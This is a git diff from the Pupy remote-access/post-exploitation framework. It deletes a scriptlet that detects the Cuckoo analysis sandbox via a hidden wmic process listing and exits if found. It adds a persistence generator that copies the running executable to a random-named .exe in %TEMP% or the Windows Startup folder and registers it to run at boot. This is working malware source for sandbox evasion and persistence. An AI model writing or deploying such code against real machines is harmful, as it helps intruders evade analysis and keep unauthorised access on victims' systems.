diff --git a/.gitignore b/.gitignore
index 1709a1e3..4641232b 100644
--- a/.gitignore
+++ b/.gitignore
@@ -37,6 +37,7 @@ pupy/modules/*.py[cod]
 pupy/modules/lib/*.py[cod]
 pupy/modules/lib/**/*.py[cod]
 pupy/network/**/*.pyc
+pupy/scriptlets/**/*.pyc
 
 # do not ignore package & templates files
 !pupy/packages/
diff --git a/pupy/scriptlets/detect_cuckoo.py b/pupy/scriptlets/detect_cuckoo.py
deleted file mode 100644
index 7e68579d..00000000
--- a/pupy/scriptlets/detect_cuckoo.py
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/usr/bin/env python
-# -*- coding: UTF8 -*-
-# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
-# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
-
-
-import subprocess
-import re
-try:
-	info = subprocess.STARTUPINFO()
-	info.dwFlags = subprocess.STARTF_USESHOWWINDOW|subprocess.CREATE_NEW_PROCESS_GROUP
-	info.wShowWindow = subprocess.SW_HIDE
-	res=subprocess.Popen(["wmic.exe", "process" ,"get", "/FORMAT:LIST"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, startupinfo=info)
-	if re.search("CommandLine\\s*=\\s*C:\\\\Python27\\\\pythonw.exe\\s+C:\\\\[a-zA-Z0-9]+\\\\analyzer.py",res):
-		exit()
-except Exception:
-	pass
-
diff --git a/pupy/scriptlets/reg_persistence/__init__.py b/pupy/scriptlets/persistence/__init__.py
similarity index 100%
rename from pupy/scriptlets/reg_persistence/__init__.py
rename to pupy/scriptlets/persistence/__init__.py
diff --git a/pupy/scriptlets/persistence/generator.py b/pupy/scriptlets/persistence/generator.py
new file mode 100644
index 00000000..3bc19c78
--- /dev/null
+++ b/pupy/scriptlets/persistence/generator.py
@@ -0,0 +1,39 @@
+#!/usr/bin/env python
+# -*- coding: UTF8 -*-
+# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
+# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
+import textwrap, random, string
+from scriptlets import *
+
+class ScriptletGenerator(Scriptlet):
+	""" copy the current pupy executable to a random exe in %TEMP% and add persistency through registry """
+
+	dependencies=[("windows/all/pupwinutils/persistence.py","pupwinutils.persistence")]
+	arguments={
+		'method': 'available methods: registry, startup'
+	}
+
+	def __init__(self, method="registry"):
+		if not method in ("registry", "startup"):
+			raise ScriptletArgumentError("unknown persistence method %s"%method)
+		self.method=method
+
+	def generate(self):
+		name=''.join(random.choice(string.ascii_lowercase) for _ in range(0,7))+".exe"
+		if self.method=="registry":
+			return textwrap.dedent("""
+			import sys, shutil, os.path
+			if sys.platform=="win32":
+				import pupwinutils.persistence
+				path=os.path.join(os.path.expandvars("%TEMP%"), {})
+				shutil.copy(sys.executable, path)
+				pupwinutils.persistence.add_registry_startup(path)
+			""".format(name))
+		else:
+			return textwrap.dedent("""
+			import sys, shutil, os.path
+			if sys.platform=="win32":
+				shutil.copy(sys.executable, os.path.expandvars("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{}"))
+			""".format(name))
+
+
diff --git a/pupy/scriptlets/reg_persistence/generator.py b/pupy/scriptlets/reg_persistence/generator.py
deleted file mode 100644
index abf35c2a..00000000
--- a/pupy/scriptlets/reg_persistence/generator.py
+++ /dev/null
@@ -1,23 +0,0 @@
-#!/usr/bin/env python
-# -*- coding: UTF8 -*-
-# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
-# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
-import textwrap, random
-from scriptlets import *
-
-class ScriptletGenerator(Scriptlet):
-	""" copy the current pupy executable to a random exe in %TEMP% and add persistency through registry """
-	dependencies=[("windows/all/pupwinutils/persistence.py","pupwinutils.persistence")]
-	def generate(self):
-		return textwrap.dedent("""
-		import sys, shutil, os.path, random, string
-		if sys.platform=="win32":
-			import pupwinutils.persistence
-			random.seed({})
-			name=''.join(random.choice(string.ascii_lowercase) for _ in range(0,7))+".exe"
-			path=os.path.join(os.path.expandvars("%TEMP%"), name)
-			shutil.copy(sys.executable, path)
-			pupwinutils.persistence.add_registry_startup(path)
-		""".format(int(random.getrandbits(32))))
-
-